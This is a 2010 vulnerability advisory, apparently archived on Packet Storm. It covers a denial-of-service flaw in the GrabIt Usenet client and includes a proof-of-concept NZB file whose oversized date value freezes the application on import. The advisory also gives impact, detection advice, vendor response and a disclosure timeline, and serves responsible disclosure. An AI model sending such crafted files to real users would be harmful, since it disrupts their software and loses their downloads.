exploit the possibilities

Shemes Grabbit NZB Date Denial Of Service

Shemes Grabbit NZB Date Denial Of Service
Posted Jul 8, 2010
Authored by Marc Ruef | Site scip.ch

Shemes Grabbit suffers from a malicious NZB file related denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | dd8f4bd253788e849c9c760e1204e9c3a0cbaaa54947b455f67903536f36ac84

Shemes Grabbit NZB Date Denial Of Service

Change Mirror Download
Shemes Grabbit Malicious NZB Date Denial of Service

scip AG Vulnerability ID 4143 (07/08/2010)
http://www.scip.ch/?vuldb.4143

I. INTRODUCTION

Grabbit is a popular freeware client for binary Usenet interaction.

More information is available on the official web site at the following URL:

http://www.shemes.com/index.php?p=download

II. DESCRIPTION

Marc Ruef at scip AG found a denial of service vulnerability in the
current release up to GrabIt 1.7.2 ├četa 4.

An attacker is able to provide a malicious nzb file which will cause a
freeze of the application.

III. EXPLOITATION

The attack requires a malicious nzb file which includes a file reference
with a very large date value. This is a simplified example:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE nzb PUBLIC "-//newzBin//DTD NZB 1.0//EN"
"http://www.newzbin.com/DTD/nzb/nzb-1.0.dtd">
<nzb xmlns="http://www.newzbin.com/DTD/2003/nzb">

<file subject="poc" date="1000000000000000" poster="maru">
<groups><group>non.existing.group</group></groups>
<segments>
<segment number="1" bytes="42">exploit@domain.example</segment>
</segments>
</file>

</nzb>

IV. IMPACT

During the import of the malicious nzb file the application will freeze.
Further interaction with the software is not possible anymore. Ongoing
downloads will be corrupted or lost. It is required to kill the process
and to re-launch the application.

V. DETECTION

A pre-parsing of nzb files prior import might help to determine
malicious files. In this case the data value is well-defined and could
be sanitized easily.

VI. SOLUTION

No workaround or solution known at the moment.

It is suggested to use nzb files from trusted sources only or to use
another Usenet client.

VII. VENDOR RESPONSE

The issue has been reported to the vendor via the online bug tracking
system.

After exchange of technical details the vendor informed that a
re-written client will be released in the next few months.

VIII. SOURCES

scip AG - Security is our Business (german)
http://www.scip.ch

scip AG - Vulnerability Database (german)
http://www.scip.ch/?vuldb.4143

computec.ch Document Database (german)
http://www.computec.ch

IX. DISCLOSURE TIMELINE

2010/02/20 Identification of the vulnerability
2010/02/21 Notification of Shemes.com via online bug tracking
2010/02/21 Acknowledgement of the issue by Ilan
2010/02/21 Providing the PoC to verify the vulnerability
2010/04/09 Update of the current development status
2010/07/08 Public disclosure of the advisory

X. CREDITS

The vulnerability has been discovered by Marc Ruef.

Marc Ruef, scip AG, Zuerich, Switzerland
maru-at-scip.ch
http://www.scip.ch

A1. LEGAL NOTICES

Copyright (c) 2002-2010 scip AG, Switzerland.

Permission is granted for the re-distribution of this alert. It may not
be edited in any way without permission of scip AG.

The information in the advisory is believed to be accurate at the time
of publishing based on currently available information. There are no
warranties with regard to this information. Neither the author nor the
publisher accepts any liability for any direct, indirect or
consequential loss or damage from use of or reliance on this advisory.
Login or Register to add favorites

File Archive:

May 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    0 Files
  • 2
    May 2nd
    15 Files
  • 3
    May 3rd
    19 Files
  • 4
    May 4th
    24 Files
  • 5
    May 5th
    15 Files
  • 6
    May 6th
    14 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    13 Files
  • 10
    May 10th
    7 Files
  • 11
    May 11th
    99 Files
  • 12
    May 12th
    45 Files
  • 13
    May 13th
    7 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    26 Files
  • 18
    May 18th
    4 Files
  • 19
    May 19th
    17 Files
  • 20
    May 20th
    2 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    6 Files
  • 24
    May 24th
    19 Files
  • 25
    May 25th
    5 Files
  • 26
    May 26th
    12 Files
  • 27
    May 27th
    12 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close